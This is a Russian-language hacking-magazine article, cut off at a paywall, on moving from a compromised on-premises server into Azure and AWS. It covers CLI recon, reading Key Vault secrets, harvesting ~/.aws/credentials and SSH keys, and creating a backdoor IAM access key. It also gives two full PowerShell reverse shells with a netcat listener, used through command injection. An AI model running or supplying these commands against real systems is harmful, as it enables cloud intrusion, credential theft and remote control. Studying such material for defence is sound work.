Содержание статьи
- Внутренняя разведка на использование облачных сервисов
- Сбор данных с помощью утилиты Az
- Сбор данных с помощью утилиты AWS
- Расширение прав и горизонтальное перемещение
- AWS
- Azure
- Сила Azure Run — берем шелл
- Манипуляции на целевой машине и постэксплуатация Azure
- Кража метаданных с виртуальной машины Azure
- AWS
- Эксплуатация сервисов
- Эксплуатация уязвимости в AWS Lambda
- Эксплуатация облачных хранилищ в AWS
- Реляционные базы данных AWS
- Облачное хранилище Azure
- Заключение
WARNING
Описания техник и атак в этой статье приведены исключительно в образовательных целях. Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.
Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.
Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.
Внутренняя разведка на использование облачных сервисов
Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.
Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.
Сбор данных с помощью утилиты Az
Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login
.
Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list
получим перечень подписок авторизированного пользователя.
C помощью директивы az account show --query "id"
можно получить ID учетной записи. А команда
az resource list --query "[?type=='Microsoft.KeyVault/vaults']"
позволяет узнать данные о Key Vault. Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.
А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:
az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete
— проверить, можно ли восстановить Key Vault;az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}]
— проверить, когда секретный ключ Key Vault истекает;az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id'
— получить URL для Key Vault;az keyvault secret show --id
— получить данные, хранящиеся в Key Vault;az network nsg list --query [*].[name,securityRules]
— получить данные о политике безопасности для сети Azure.
С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access
, destinationPortRange
, protocol
и direction
. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.
Сбор данных с помощью утилиты AWS
AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство — и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.
Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/.aws/credentials
, а в Windows — в C:\Users\USERNAME\.aws\credentials
. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.
С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:
aws sts get-caller-identity
— получить данные об используемой учетной записи;aws iam list-users
— перечислить всех IAM-пользователей;aws s3 ls
— перечислить все доступные AWS S3;aws lambda list --functions
— перечислить все lambda-функции;aws lambda get-function --function-name [function_name]
— собрать дополнительную информацию по lambda-переменным, локации и так далее;aws ec2 describe-instances
— перечислить все доступные виртуальные машины;aws deploy list-applications
— перечислить все доступные веб-сервисы;aws rds describe-db-instances
— показать все доступные базы данных RDS.
Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history
и посмотреть, какие команды выполнялись за последнее время на этой машине.
Расширение прав и горизонтальное перемещение
AWS
Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin
, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой
aws iam create-access-key --user-name iamadmin
С помощью команд SSH можно подключиться к удаленному AWS bucket.
Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:
.ssh/authorized_keys
— содержит подпись публичных ключей для любых авторизованных клиентов;.ssh/id_rsa
— содержит приватные ключи для клиентов;.ssh/id_rsa.pub
— содержит публичные ключи для клиента;.ssh/known_hosts
— содержит список подписей хостов.
Azure
Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.
nmap -sS -sV -v -Pn -p- <IP-адрес>
Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.
Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.
Приложение оказалось уязвимым к запуску команды на удаленном компьютере.
Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090
, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.
Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.
Первый шелл
powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Второй шелл
$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»